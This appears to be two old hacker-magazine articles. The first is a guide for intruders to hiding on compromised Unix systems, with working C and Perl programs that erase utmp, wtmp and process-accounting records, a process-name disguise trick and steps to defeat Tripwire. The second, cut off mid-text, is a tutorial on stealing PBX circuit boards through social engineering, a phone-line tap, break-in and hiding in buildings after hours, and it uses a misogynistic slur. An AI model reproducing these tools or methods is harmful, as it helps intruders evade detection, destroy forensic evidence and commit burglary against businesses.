‑‑‑‑ End of incident report

Hey, it's human nature to be careless and lazy. But, when you're a hacker, and you're illegally breaking into computer systems this isn't a luxury that you can afford. Your efforts in penetrating have to be exact, concise, sharp, witty and skillful. You have to know when to retreat, run, hide, pounce or spy. Let us put it this way, when you get your feet muddy and walk on new carpet without cleaning it up, you're gonna get spanked.

I can't tell you how many times I've see a hacker break into a system and leave their muddy footprints all over the system. Hell, a quarter of the hosts on the Internet need to be steam‑cleaned.

This is sad. Especially since you could have had the ability to do the washing yourself. Why bother cracking systems if you leave unauthorized login messages on the console for the administrators? Beats me.

This article is about hiding your access‑‑the little tricks of the trade that keep you unnoticed and hidden from that evil bastard, the system administrator.

I should probably start by explaining exactly where common accounting/log files are kept and their roles in keeping/tracking system information.

# Drinking jolt and jerking the logs

Syslog(3), The "Big Daddy" of logging daemons, is the master of all system accounting and log reporting. Most system components and applications depend on syslogd to deliver the information (accounting, errors, etc.) to the appropriate place. Syslog (syslogd) reads a configuration file (/etc/syslog.conf) on startup to determine what facilities it will support.

Syslog ususally has the following facilities and priorities:

Facilities: kern user mail daemon auth syslog lpr news uucp Priorities: emerg alert crit err warning notice info debug

Facilities are the types of accounting that occur and priorities are the level of urgency that the facilities will report. Most facilities are divided and logged into separate accounting files. The common being daemon, auth, syslog, and kern.

Priorities are encoded as a facility and a level. The facility usually describes the part of the system generating the message. Priorities are defined in <sys/syslog.h>.

In order to by‑pass or suspend system accounting it is necessary to understand how it works. With syslog, it is important to know how to read and determine where accounting files are delivered. This entails understanding how syslog configures itself for operation.

# Reading and understanding /etc/syslog.conf.

Lines in the configuration file have a selector to determine the message priorities to which the line applies and an action. The action fields are separated from the selector by one or more tabs.

Selectors are semicolon separated lists of priority specifiers. Each priority has a facility describing the part of the system that generated the message, a dot, and a level indicating the severity of the message. Symbolic names could be used. An asterisk selects all facilities. All messages of the specified level or higher (greater severity) are selected. More than one facility may be selected using commas to separate them. For example:

*.emerg;mail,daemon.crit

selects all facilities at the emerg level and the mail and daemon facilities at the crit level.

Known facilities and levels recognized by syslogd are those listed in syslog(3) without the leading ``LOG_''. The additional facility ``mark'' has a message at priority LOG_INFO sent to it every 20 minutes (this may be changed with the ‑m flag). The ``mark'' facility is not enabled by a facility field containing an asterisk. The level ``none'' may be used to disable a particular facility. For example,

*.debug;mail.none

Sends all messages except mail messages to the selected file.

The second part of each line describes where the message is to be logged if this line is selected. There are four forms:

o A filename (beginning with a leading slash). The file

will be opened in append mode.

o A hostname preceded by an at sign (``@''). Selected messages are forwarded to the syslogd on the named host.

o A comma separated list of users. Selected messages are written to those users if they are logged in.

o An asterisk. Selected messages are written to all logged‑in users.

For example, the configuration file:

kern,mark.debug /dev/console

*.notice;mail.info /usr/spool/adm/syslog

*.crit /usr/adm/critical

kern.err @phantom.com

*.emerg *

*.alert erikb,netw1z

*.alert;auth.warning ralph

logs all kernel messages and 20 minute marks onto the system console, all notice (or higher) level messages and all mail system messages except debug messages into the file /usr/spool/adm/syslog, and all critical messages into /usr/adm/critical; kernel messages of error severity or higher are forwarded to ucbarpa. All users will be informed of any emergency messages, the users ``erikb'' and ``netw1z'' will be informed of any alert messages, or any warning message (or higher) from the authorization system.

Syslogd creates the file /etc/syslog.pid, if possible, containing a single line with its process id; this is used to kill or reconfigure syslogd.

# System login records

There are there basic areas (files) in which system login information is stored. These areas are:

/usr/etc/wtmp

/usr/etc/lastlog

/etc/utmp

The utmp file records information about who is currently using the system. The file is a sequence of entries with the following structure declared in the include file (/usr/include/utmp.h):

struct utmp {

char ut_line[8]; /* tty name */

char ut_name[8]; /* user id */

char ut_host[16]; /* host name, if remote */

long ut_time; /* time on */

};

This structure gives the name of the special file associated with the user's terminal, the user's login name, and the

time of the login in the form of time(3C). This will vary from platform to platform. Since Sun Microsystems ships SunOs with a world writable /etc/utmp, you can easily take yourself out of any who listing.

The wtmp file records all logins and logouts. A null username indicates a logout on the associated terminal. Furthermore, the terminal name `~' indicates that the system was rebooted at the indicated time; the adjacent pair of entries with terminal names `|' and `{' indicate the system maintained time just before and just after a date command has changed the system's idea of the time.

Wtmp is maintained by login(1) and init(8). Neither of these programs creates the file, so if it is removed or renamed record‑keeping is turned off. Wtmp is used in conjunction with the /usr/ucb/last command.

/usr/adm/lastlog is used by login(1) for storing previous login dates, times, and connection locations. The structure for lastlog is as follows:

struct lastlog {

time_t ll_time;

char ll_line[8];

char ll_host[16];

};

The structure for lastlog is quite simple. One entry per UID, and it is stored in UID order.

Creating a lastlog and wtmp editor is quite simple. Example programs are appended at the end of this file.

# System process accounting

Usually, the more security‑conscience systems will have process accounting turned on which allows the system to log every process that is spawned. /usr/adm/acct or /usr/adm/pacct are the usual logfiles that store the accounting data. These files can grow quite large as you can imagine, and are sometimes shrunk by other system applications and saved in a compressed format as /usr/adm/savacct or something similar.

Usually, if the accounting file is there with a 0 byte length then you can rest assured that they are not keeping process accounting records. If they are however, there are really only two methods of hiding yourself from this form of accounting. One, you can suspend or stop process accounting ( which is usually done with the "accton" command) or you can edit the existing process logfile and "wipe" your incriminating records.

Here is the common structure for the process accounting file:

struct acct

{

char ac_comm[10]; /* Accounting command name */

comp_t ac_utime; /* Accounting user time */

comp_t ac_stime; /* Accounting system time */

comp_t ac_etime; /* Accounting elapsed time */

time_t ac_btime; /* Beginning time */

uid_t ac_uid; /* Accounting user ID */

gid_t ac_gid; /* Accounting group ID */

short ac_mem; /* average memory usage */

comp_t ac_io; /* number of disk IO blocks */

dev_t ac_tty; /* control typewriter */

char ac_flag; /* Accounting flag */

};

It is extremely tricky to remove all of your account records since if you do use a program to remove them, the program that you run to wipe the records will still have a process that will be appended to the logfile after it has completed.

An example program for removing process accounting records is included at the end of this article.

Most sysadmins don't pay real attention to the process logs, since they do tend to be rather large and grow fast. However, if they notice that a break‑in has occurred, this is one of the primary places they will look for further evidence.

On the other hand, for normal system monitoring, you should be more worried about your "active" processes that might show up in a process table listing (such as ps or top).

Most platforms allow the general changing of the process name without having any kind of privileges to do so. This is done with a simple program as noted below:

#include <stdio.h>

#include <string.h>

int main(argc, argv)

int argc;

char **argv;

{

char *p;

for (p = argv[0]; *p; p++)

*p = 0;

strcpy(argv[0], "rn");

(void) getchar (); /* to allow you to see that ps reports "rn" */

return(0);

}

Basically, this program waits for a key‑stroke and then exits. But, while it's waiting, if you were to lookup the process it would show the name as being "rn". You're just actually re‑writing the argument list of the spawned process. This is a good method of hiding your process or program names ("crack", "hackit", "icmpnuker"). Its a good idea to use this method in any "rogue" programs you might not want to be discovered by a system administrator.

If you cant corrupt your process arguments, rename your program to something that at least looks normal on the system. But, if you do this, make sure that you don't run the command as "./sh" or "./ping" .. Even this looks suspicious. Put your current path in front of your PATH environment variable and avoid this mistake.

# Tripping the wire

That little piss‑ant up at Purdue thinks he has invented a masterpiece.. I'll let his words explain what "Tripwire" is all about. Then, i'll go over some brief flaws in tripwire and how to circumvent it.

‑‑‑‑ Tripwire README Introduction

1.0. Background

================

With the advent of increasingly sophisticated and subtle account break‑ins on Unix systems, the need for tools to aid in the detection of unauthorized modification of files becomes clear. Tripwire is a tool that aids system administrators and users in monitoring a designated set of files for any changes. Used with system files on a regular (e.g., daily) basis, Tripwire can notify system administrators of corrupted or tampered files, so damage control measures can be taken in a timely manner.

1.1. Goals of Tripwire

=======================

Tripwire is a file integrity checker, a utility that compares a designated set of files against information stored in a previously generated database. Any differences are flagged and logged, and optionally, a user is notified through mail. When run against system files on a regular basis, any changes in critical system files will be spotted ‑‑ and appropriate damage control measures can be taken immediately. With Tripwire, system administrators can conclude with a high degree of certainty that a given set of files remain free of unauthorized

modifications if Tripwire reports no changes.

‑‑‑‑ End of Tripwire excerpt

Ok, so you know what tripwire does. Yup, it creates signatures for all files listed in a tripwire configuration file. So, if you were to change a file that is "tripwired", the proper authorities would be notified and your changes could be recognized. Gee. That sounds great. But there are a couple of problems with this.

First, tripwire wasn't made to run continuously (i.e., a change to a system binary might not be noticed for several hours, perhaps days.) This allows somewhat of a "false" security for those admins who install tripwire.

The first step in beating tripwire is to know if the system you are on is running it. This is trivial at best. The default location where tripwire installs its databases are /usr/adm/tcheck or /usr/local/adm/tcheck.

The "tcheck" directory is basically made up of the following files:

‑rw‑‑‑‑‑‑‑ 1 root 4867 tw.config

drwxr‑‑‑‑‑ 2 root 512 databases

The file "tw.config" is the tripwire configuration file. Basically, it's a list if files that tripwire will create signatures for. This file usually consists of all system binaries, devices, and configuration files.

The directory "databases" contains the actual tripwire signatures for every system that is configured in tw.config. The format for the database filenames are tw.db_HOSTNAME. An example signature entry might look like:

/bin/login 27 ../z/. 100755 901 1 0 0 50412 .g53Lz .g4nrh .g4nrt 0 1vOeWR/aADgc0 oQB7C1cCTMd 1T2ie4.KHLgS0xG2B81TVUfQ 0 0 0 0 0 0 0

Nothing to get excited about. Basically it is a signature encrypted in one of the many forms supplied by tripwire. Hard to forge, but easy to bypass.

Tripwire takes a long time to check each file or directory listed in the configuration file. Therefore, it is possible to patch or change a system file before tripwire runs a signature check on it. How does one do this? Well, let me explain some more.

In the design of tripwire, the databases are supposed to be kept either on a secure server or a read‑only filesystem. Usually, if you would want to patch a system binary 9 times out of 10 you're going to want to have root access. Having root access to by‑pass tripwire is a must. Therefore, if you can obtain this access then it is perfectly logical that you should be able to remount a filesystem as Read/Write. Once accomplished, after installing your patched binary, all you have to do is:

tripwire ‑update PATH_TO_PATCHED_BINARY

Then, you must also:

tripwire ‑update /usr/adm/tcheck/databases/tw.db_HOSTNAME (If they are making a signature for the tripwire database itself)

You'll still be responsible for the changed inode times on the database. But that's the risk you'll have to live with. Tripewire wont detect the change since you updated the database. But an admin might notice the changed times.

# Wrapping up the wrappers

Ta da. You got the access. uh‑oh. What if they are running a TCP wrapper? There are three basic ways they could be running a wrapper.

1) They have modified /etc/inetd.conf and replaced the daemons they want to wrap with another program that records the incoming hostname and then spawns the correct daemon.

2) They have replaced the normal daemons (usually in /usr/etc) with a program that records the hostname then launches the correct daemon.

3) They have modified the actual wrappers themselves to record incoming connections.

In order to bypass or disable them, you'll first need to know which method they are using.

First, view /etc/inetd.conf and check to see if you see something similar to:

telnet stream tcp nowait root /usr/etc/tcpd telnetd ttyXX

This is a sure sign that they are running Wietse Venema's tcp_wrapper.

If nothing is found in /etc/inetd.conf, check /usr/etc and check for any abnormal programs such as "tcpd", "wrapd", and "watchcatd". Finally, if nothing is still found, try checking the actually daemons by running "strings" on them and looking for logfiles or by using sum and comparing them to another system of the same OS that you know is not using a wrapper.

Okay, by now you know whether or not they have a wrapper installed. If so you will have to now decide what to do with the output of the wrapper. You'll have to know where it put the information. The most common wrapper used is tcp_wrapper. Here is another README excerpt detailing where the actually output from the wraps are delivered.

‑‑‑‑ Begin of tcp_wrapper README

3.2 ‑ Where the logging information goes

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The wrapper programs send their logging information to the syslog daemon (syslogd). The disposition of the wrapper logs is determined by the syslog configuration file (usually /etc/syslog.conf). Messages are written to files, to the console, or are forwarded to a @loghost.

Older syslog implementations (still found on Ultrix systems) only support priority levels ranging from 9 (debug‑level messages) to 0 (alerts). All logging information of the same priority level (or more urgent) is written to the same destination. In the syslog.conf file, priority levels are specified in numerical form. For example,

8/usr/spool/mqueue/syslog

causes all messages with priority 8 (informational messages), and anything that is more urgent, to be appended to the file /usr/spool/mqueue/syslog.

Newer syslog implementations support message classes in addition to priority levels. Examples of message classes are: mail, daemon, auth and news. In the syslog.conf file, priority levels are specified with symbolic names: debug, info, notice, ..., emerg. For example,

mail.debug /var/log/syslog

causes all messages of class mail with priority debug (or more urgent) to be appended to the /var/log/syslog file.

By default, the wrapper logs go to the same place as the transaction logs of the sendmail daemon. The disposition can be changed by editing the Makefile and/or the syslog.conf file. Send a `kill ‑HUP' to the syslogd after changing its configuration file. Remember that syslogd, just like sendmail, insists on one or more TABs between the left‑hand side and the right‑hand side expressions in its configuration file.

‑‑‑‑ End of tcp_wrapper README

Usually just editing the output and hoping the sysadmin didnt catch the the wrap will do the trick since nothing is output to the console (hopefully).

# Example programs

The following are short and sweet programs that give you the ability to edit some of the more common logfiles found on most platforms. Most of these are pretty simple to compile, although some might need minor porting and OS consideration changes in structures and configurations.

‑‑‑‑ Begin of /etc/utmp editor:

/* This program removes utmp entries by name or number */

#include <utmp.h>

#include <stdio.h>

#include <sys/file.h>

#include <sys/fcntlcom.h>

void usage(name)

char *name;

{

printf(stdout, "Usage: %s [ user ] or [ tty ]\n", name); exit(1);

}

main(argc,argv)

int argc;

char **argv;

{

int fd;

struct utmp utmp;

int size;

int match, tty = 0;

if (argc!=2)

usage(argv[0]);

if ( !strncmp(argv[1],"tty",3) )

tty++;

fd = open("/etc/utmp",O_RDWR);

if (fd >= 0)

{

size = read(fd, &utmp, sizeof(struct utmp));

while ( size == sizeof(struct utmp) )

{

if ( tty ? ( !strcmp(utmp.ut_line, argv[1]) ) : ( !strcmp(utmp.ut_name, argv[1]) ) )

{

lseek( fd, ‑sizeof(struct utmp), L_INCR ); bzero( &utmp, sizeof(struct utmp) ); write( fd, &utmp, sizeof(struct utmp) );

}

size = read( fd, &utmp, sizeof(struct utmp) );

}

}

close(fd);

}

‑‑‑‑ End of /etc/utmp editor

‑‑‑‑ Begin of /usr/adm/wtmp editor:

/* This program removes wtmp entries by name or tty number */

#include <utmp.h>

#include <stdio.h>

#include <sys/file.h>

#include <sys/fcntlcom.h>

void usage(name)

char *name;

{

printf("Usage: %s [ user | tty ]\n", name);

exit(1);

}

void main (argc, argv)

int argc;

char *argv[];

{

struct utmp utmp;

int size, fd, lastone = 0;

int match, tty = 0, x = 0;

if (argc>3 || argc<2)

usage(argv[0]);

if (strlen(argv[1])<2) {

printf("Error: Length of user\n");

exit(1);

}

if (argc==3)

if (argv[2][0] == 'l') lastone = 1;

if (!strncmp(argv[1],"tty",3))

tty++;

if ((fd = open("/usr/adm/wtmp",O_RDWR))==‑1) { printf("Error: Open on /usr/adm/wtmp\n");

exit(1);

}

printf("[Searching for %s]: ", argv[1]);

if (fd >= 0)

{

size = read(fd, &utmp, sizeof(struct utmp));

while ( size == sizeof(struct utmp) )

{

if ( tty ? ( !strcmp(utmp.ut_line, argv[1]) ) : ( !strncmp(utmp.ut_name, argv[1], strlen(argv[1])) ) && lastone != 1)

{

if (x==10)

printf("\b%d", x);

else

if (x>9 && x!=10)

printf("\b\b%d", x);

else

printf("\b%d", x);

lseek( fd, ‑sizeof(struct utmp), L_INCR ); bzero( &utmp, sizeof(struct utmp) ); write( fd, &utmp, sizeof(struct utmp) ); x++;

}

size = read( fd, &utmp, sizeof(struct utmp) );

}

}

if (!x)

printf("No entries found.");

else

printf(" entries removed.");

printf("\n");

close(fd);

}

‑‑‑‑ End of /usr/adm/wtmp editor

‑‑‑‑ Begin of /usr/adm/lastcomm editor:

#!/perl

package LCE;

$date = 'Sun Jul 4 20:35:36 CST 1993';

$title = 'LCE';

$author = 'Phreak Accident';

$version = '0.0';

$copyright = 'Copyright Phreak Accident';

#‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

# begin getopts.pl

# Usage: &Getopts('a:bc'); # ‑a takes arg. ‑b & ‑c not. Sets opt_*.

sub Getopts {

local($argumentative)=@_; local(@args,$_,$first,$rest,$errs);

local($[)=0;

@args=split(/ */, $argumentative );

while(($_=$ARGV[0]) =~ /^‑(.)(.*)/) {

($first,$rest) = ($1,$2);

$pos = index($argumentative,$first);

if($pos >= $[) {

if($args[$pos+1] eq ':') {

shift(@ARGV);

if($rest eq '') {

$rest = shift(@ARGV);

}

eval "\$opt_$first = \$rest;";

}

else {

eval "\$opt_$first = 1";

if($rest eq '') {

shift(@ARGV);

}

else {

$ARGV[0] = "‑$rest";

}

}

}

else {

print STDERR "Unknown option: $first\n";

++$errs;

if($rest ne '') {

$ARGV[0] = "‑$rest";

}

else {

shift(@ARGV);

}

}

}

$errs == 0;

}

# end getopts.pl

#‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

sub Initialize {

$TRUE = '1'; # '1' = TRUE = '1'

$FALSE = ''; FALSE = ''

&Getopts('a:u:o:');# Parse command line options

$acct = $opt_a || $ENV{'ACCT'} || '/var/adm/pacct';

$user = $opt_u || $ENV{'USER'} || `/bin/whoami` || 'root'; $outf = $opt_o || $ENV{'OUTF'} || './.pacct';

select(STDOUT); $|++;

close(I);

open(I,'(cd /dev; echo tty*)|');

$ttys=<I>;

close(I);

@ttys = split(/ /,$ttys);

for $tty (@ttys) { ($dev,$ino,$mode,$nlink,$uid,$gid,$rdev,$size, $atime,$mtime,$ctime,$blksize,$blocks) = stat("/dev/$tty"); $TTY{"$rdev"} = "$tty";

}

$TTY{'65535'} = 'NoTTY';

# Get passwd info ‑‑> id:passwd:uid:gid:name:home:shell

close (I);

# open(I,"cat /etc/passwd|");# If you don't run nis... open(I,"ypcat passwd|");

while (<I>) {

chop;

split(/:/);

$PASSWD{"$_[$[+2]"}= $_[$[];

}

$PASSWD{"0"}= 'root';

# Get group info ‑‑> id:passwd:gid:members

close (I);

# open(I,"cat /etc/group|");# If you don't run nis... open(I,"ypcat group | ");

while (<I>) {

chop;

split(/:/);

$GROUP{"$_[$[+2]"}= $_[$[];

}

}

split(/ /,'Sun Mon Tue Wed Thu Fri Sat');

for ($x=$[ ; $x<$#_ ; $x++) {

$DAY{"$x"} = $_[$x];

}

split(/ /,'Error Jan Feb Mar Apr MAy Jun Jul Aug Sep Oct Nov Dec'); for ($x=$[ ; $x<$#_ ; $x++) {

$MONTH{"$x"} = $_[$x];

}

#‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

sub LCE {

&Initialize();

open(I,"<$acct");

close(O);

open(O,">$outf");

$template='CCSSSLSSSSSSA8';

while (read(I,$buff,32)) { ($c1,$c2,$u,$g,$d,$bt,$ut,$st,$et,$o4,$o5,$o6,$c3) = unpack($template,$buff); ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime($bt);

$mon++;

$mon = "0$mon" if ($mon < 10);

$mday = "0$mday" if ($mday < 10);

$hour = "0$hour" if ($hour < 10);

$min = "0$min" if ($min < 10);

$sec = "0$sec" if ($sec < 10);

$tt = localtime($bt);

$flags='';

if ($c1 & 0001) { $flags .= 'F'; }

if ($c1 & 0002) { $flags .= 'S'; }

if ($c1 & 0004) { $flags .= 'P'; }

if ($c1 & 0010) { $flags .= 'C'; }

if ($c1 & 0020) { $flags .= 'K'; }

if ($c1 & 0300) { $flags .= 'A'; }

$c3 =~ s/\000.*$//;

print STDOUT "$c3$flags$PASSWD{$u}/$GROUP{$g}$TTY{$d}"; print STDOUT "$DAY{$wday} $hour:$min:$sec";

if ($PASSWD{$u} eq $user) {

print " [ERASED] ";

} else {

print O pack($template,$c1,$c2,$u,$g,$d,$bt,$ut,$st,$et,$o4,$o5,$o6,$c3); }

print "\n";

}

close(O);

}

#‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

&LCE();

#structacct

# {

# charac_flag;/* Accounting flag */

# charac_stat;/* Exit status */

# uid_tac_uid;/* Accounting user ID */

# gid_tac_gid;/* Accounting group ID */

# dev_tac_tty;/* control typewriter */

# time_tac_btime;/* Beginning time */

# comp_tac_utime;/* Accounting user time */

# comp_tac_stime;/* Accounting system time */

# comp_tac_etime;/* Accounting elapsed time */

# comp_tac_mem;/* average memory usage */

# comp_tac_io;/* chars transferred */

# comp_tac_rw;/* blocks read or written */

# charac_comm[8];/* Accounting command name */

# };

#

# #defineAFORK0001/* has executed fork, but no exec */

# #define ASU 0002 /* used super‑user privileges */

# #defineACOMPAT0004/* used compatibility mode */

# #defineACORE0010/* dumped core */

# #defineAXSIG0020/* killed by a signal */

# #defineACCTF0300/* record type: 00 = acct */

‑‑‑‑ End of /usr/adm/lastcomm editor

# All good things must come to an end

In conclusion, you need to be smarter than the administrator. Being careless can get you busted. Clean your footprints. Watch the system. Learn new tricks. AND KEEP ON HACKING!

Watch for my next article on 50 great system patches that will keep your access just the way it is .. illegal. Yaawhoo.

Physical Access and Theft of PBX Systems

==Phrack Magazine==

Volume Four, Issue Forty‑Three, File 15 of 27

[** NOTE: The following file is presented for informational purposes only. Phrack Magazine takes no responsibility for anyone who attempts the actions described within. **]

****************************************

Physical Access & Theft of PBX Systems

A DSR Tutorial by :

CO/der DEC/oder & Cablecast 0perator.

(K)opywronged 1993, by Dark Side Research

****************************************

BACKGROUND

~~~~~~~~~~

July 1989, Mobil Oil Corporation Headquarters ‑‑ Fairfax, VA.

Abundant technology, late hours, and shadows between city lights made up the typical environment CO/der DEC/oder repeatedly found adventure in. On one such night in the summer of '89, a reconnaissance outing landed him at the offices of Mobil Oil Corp. The door leading from the multi‑level parking garage into the foyer was equipped with an access‑request phone and a square black pad. The pad was flush with the wall, and sported a red LED in its center ‑‑ a rather imposing device used to read magnetic access cards. CODEC picked up the phone and listened to a couple rings followed by the voice of a security guard, "Good evening, security ..."

"Evenin', this is Dick Owens with CACI graphics. I don't have a card, but just call upstairs and they'll verify."

"Hold on, sir ..."

Kastle Security's verification call registered as a sudden 90 VAC spike on Cablecast 0perator's meter. Clipped on the blue and white pair of CACI's incoming hunt group, Cable picked up on his TS‑21: "Hello?"

"This is Kastle Security. We've got a Dick Owens downstairs requesting access."

"Yeah Sure. Let him in please."

The security man took Codec off hold, "Okay sir, what entrance are you at?"

"Garage level one."

The door clicked, and in went the hacker‑thief ‑‑ grinning. Another lock at the end of a hallway also hindered access, but a screwdriver, placed between door and frame, removed the obstruction with a quickly applied force.

CACI was a graphics outfit sharing the same building with Mobil. After a perusal through its desks and darkened corridors turned up a cardkey for later use, Codec ‑‑ pausing casually along the way at the drunking fountain ‑‑ made his way to the opposite end of the hallway and into Mobil's mail receiving room. In contrast to elsewhere in the building, this room was chilly ‑‑ as if heavy air conditioning was nearby. There was also a faint roar of fans to enhance this notion. And behind a countertop in the direction of the noise, a split door could be seen through which mail and parcels were passed during business hours. Hardly an obstacle, he was on the other side in an instant. This "other side" was no less than a gateway to nirvana. At first he began taking in the sight of a mini‑computer, console, and mass storage devices, but his eyes were virtually pulled to the giant on his left. It was the largest and most impressive PBX he had yet seen; a label above the five gargantuan, interconnected cabinets read, "AT&T SYSTEM 85." The hacker's heart raced ‑‑ he wanted to explore, control, and own the switch all at once. Within seconds his gloved hands caressed the cabinets while his hungry eyes scanned circuit pack descriptors, mouth agape. Codec grabbed some manuals, jotted down numbers to a modem stack, and reluctantly departed. A week later, he stole the switch. To the Dark Side Research group, the System 85 would be worth approximately $100,000 ‑‑ but to Mobil, the system was worth at least six times that figure. In its entirety it was more valuable, but DSR was only concerned with the guts; the digital circuitry of the system. When Codec reentered the building the following week, he was wearing a VOX headset attached to a hand‑held 2‑meter band (HAM) radio. This was strapped to his chest except for the rubber‑whip antenna which protruded out of a hole in his jacket. His awestruck, gleeful countenance from a week prior had been replaced by a more grave expression, and the moisture now on his body was no longer from unconscious salivation but due to the sweat of anticipation and rapid movement. "Phase one complete," he spoke into the boom mic in front of his face.

"Roger Nine‑Two. Quit breathing on the VOX or adjust sensitivity, over."

"Roger Nine‑Three. Entering heavy EMI area," Codec acknowledged to one of the lookouts.

Steps were retraced through the mail room, where several empty boxes marked "U.S. Mail" and a dolly were conveniently stored. The System 85 was shut down, cabinet by cabinet, as most of the circuit boards were hastily removed and boxed. Seven boxes were filled, requiring two trips with the dolly to a side door.

"All units: ready for docking."

"Roger Nine‑Two. Standby. Nine‑Three, okay for docking?" "Step on it, over ..."

A Ford Escort with its hatch open raced up to where Codec and the boxes stood. Within fifteen minutes the circuit packs were unloaded in a public storage unit. Within half an hour, CO/dec DEC/oder, Cablecast 0perator, and the remainder of the night's crew were filling up with doughnuts of the nearby 7‑11, observing local law enforcement doing the same.

APRIL 1993: Security memorandum broadcast from wrq.com ‑‑ Internet

"We've all heard of toll fraud as a way to steal telecommunications resources. Now the ante has been escalated. I've heard of a company on the East Coast that was having some minor troubles with their PBX. A technician showed up at the door and asked directions to the PBX closet. The company showed this person the way without checking any credentials, and about five minutes later the phones went completely dead. They went up to the PBX closet and found that several boards from the PBX had been removed and that the 'repairman' had departed."

The theft of PBX circuit boards is a novel idea and seldom heard of, but ‑‑ as made apparent above ‑‑ it does occur. In the used PBX scene, often referred to as the "secondary" or "grey" market, there is always a demand for circuit packs from a wide variety of PBXs. The secondhand PBX industry grew from $285 million in 1990 to $469 million in 1992 ‑‑ despite the recession.

The essence of any PBX is a rack or multiple racks of circuit cards/boards/packs, with an average grey market value of anywhere from $50 to $2000 each. The cards are lightweight, small in size, and can even withstand a moderate dose of abuse. Transport of misappropriated circuit boards is done without risk ‑‑ under and police scrutiny, a box of these looks like a mere pile of junk (or senior engineering project) in the trunk of your car. Furthermore, the serial numbers on the boards are seldom, if ever, kept track of individually, and these can be removed or "replaced" in any case. Unlike computer equipment or peripherals, PBX cards are extremely safe, simple, and non‑proprietary components to handle ‑‑ even in quantity.

Although you may wish to physically access PBXs for reasons other than theft, it will be assumed here that monetary gain is your motive. In either case, this introductory file makes it clear that access can be achieved with varying levels of ease. A PBX theft should be thought of in terms of two phases: reconnaissance and extraction. Recon involves finding and selecting prime targets. Extraction is the actual theft of the system. Both phases can be completed through "office building hacking," a wide variety of deception, breaking and entering, social engineering, and technical skills.

Phase I : Reconnaissance

PBXs are found where people's communications needs warrant the capabilities of such a system ‑‑ offices, schools, hotels, convention centers, etc. The PBXs we will concert ourselves with in this discourse however are those located in shared or multiple‑leased office structures; the "typical" office buildings. The typical office building has enough floors to require an elevator, some parking space, a lobby, and a company directory (Because it is shared by more than one business). Companies that occupy an entire building by themselves are generally too secure to be worthwhile targets.

Tenant companies in the typical building lease all different size office space ‑‑ some rent only 300 sq. ft., others take up entire floors. Those that use half a floor or more usually meet the criteria for PBX ownership. Obviously, the larger the firm's office at that site, the greater its PBX will be, so those business spread out over several floors will have the most valuable systems. This is not always an overwhelming factor in determining a target however. The smaller systems are often easier to get at ‑‑ and ultimately to remove ‑because they tend to be located in utility closets off publicly accessible hallways as opposed to within a room inside an office space. Those closets, sometimes labeled "telephone" and even unlocked, will be found one or two per floor! Other closets may exist for electrical equipment, HVAC, plumbing, janitorial supplies, or for a combination of these uses in addition to telephone service.

A phone closet is easily distinguishable whether or not a switch or key system is present. A web of low‑voltage (22 AWG), multi‑colored wiring will be channelled and terminated on a series of white "66" blocks mounted on the wall. These blocks are a few inches wide, and roughly a foot long, with rows of metallic pins that the wiring is punched into with a special tool. As a general rule, if the system is fastened to the wall and doesn't have at least one muffin fan built‑in and running, it's either a measly key system or a PBX too small to deserve your attention. Those worthy of your time will stand alone as a cabinet with a hinged door, contain shelves of circuit cards, and emanate the harmonious hum of cooling fans. As an example, Mitel PBXs commonly fit cozily in closets ‑‑ sometimes even one of the newer ROLMs or a voice mail system. On the other hand, an NT SL‑100 should not be an expected closet find.

Wandering through office buildings in search of phone closets during business hours is easy, so long as you dress and act the part. You'll also want to look confident that you know what you're doing and where you're going. Remember, these buildings are open to the public and an employee of one company can't tell whether or not you're a client of another. When going in and out of the phone closets, who's to know you're not a technician or maintenance man?

Apart from searching the closets, you can approach the secretaries. Feign being lost and ask to use the telephone. Steal a glance at the console and you'll know (with a little practice) what type of PBX they've got. This is very valuable information, for it may save you from unsuccessfully breaking into the closet (should it be locked) or the company itself. Secretaries are cute, courteous, and dumb. You shouldn't have a problem convincing her to give you the key to the phone closet if you're posing as a technician. If you're feeling as confident as you should be, you may even get a date with the bitch. And should you ever raise suspicion, you always have the option of bailing out and making a break for the stairwell. No business exec is going to chase you down.

Some additional methods can be employed in conjunction with visiting the buildings, or as a precursor to such :

‑‑ Classified ads. A company with job openings is all the more vulnerable to your dark motives. Using the help‑wanted section of your newspaper, look for receptionist and secretarial positions. Call and ask, "What type of phone system will I be required to handle?" You may also want to go in and apply for the job ‑‑ any job at a large firm will do. You'll learn the type of system installed, some details about security, etc; this is a very sophisticated way of "casin' the joint."

‑‑ Scanning for RMATS. Using your preferred wardialer (such as ToneLoc), scan business districts for PBX remote maintenance modems then CNA your finds.

‑‑ Targeting interconnects. Interconnects are PBX dealers that sell, install, and maintain the systems on contract. Capture a database of clients and you'll have a windfall of leads and pertinent info. AT&T allegedly sells its database by region. Also, intercept voice mail or company e‑mail. Interconnects make decent targets themselves.

‑‑ Users groups and newsletters. Some of the extremely large PBX owners join users groups. Though this is abstract, owners will discuss their systems openly at the meetings. Newsletters are mailed out to members, often discussing special applications of specific locations in detail. Great for making sales contacts.

Phase II : Extraction

Removing the PBX calls for an assessment of obstacles versus available means and methods. The optimum plan incorporates a late afternoon entry with a nighttime departure. This means entering the building during business hours and hiding, either in the PBX closet itself or any room or empty space where you can wait until after hours to re‑emerge. This is the most safest and effective of methods. You need not worry about alarms or breaking in from outside, and you can take advantage of one of the greatest weaknesses in corporate office security ‑‑ janitors. The janitorial staff, if you act and dress properly, will allow you to walk right into an office while they're cleaning. If you're already in an office and they enter, just act like you own the place and it'll be assumed you work there. If you prefer not to be seen, keep hidden until the cleaning is done on your floor. (Be sure not to make the idiotic mistake of hiding in the janitor's closet). Although the custodians will lock the doors behind them, any alarms in the building will remain off until cleaning for the entire structure is complete.

